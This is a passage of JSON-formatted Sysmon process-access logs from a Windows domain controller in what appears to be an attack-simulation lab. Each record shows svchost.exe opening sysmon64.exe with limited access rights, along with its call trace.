11:49:56.915\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.915","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1511,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.915\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.915","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1512,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.915\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.915","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1513,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.915\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.915","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1514,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.915\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.915","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1515,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.916\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.916","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1516,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.916\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.916","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1517,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.916\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.916","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1518,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.916\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 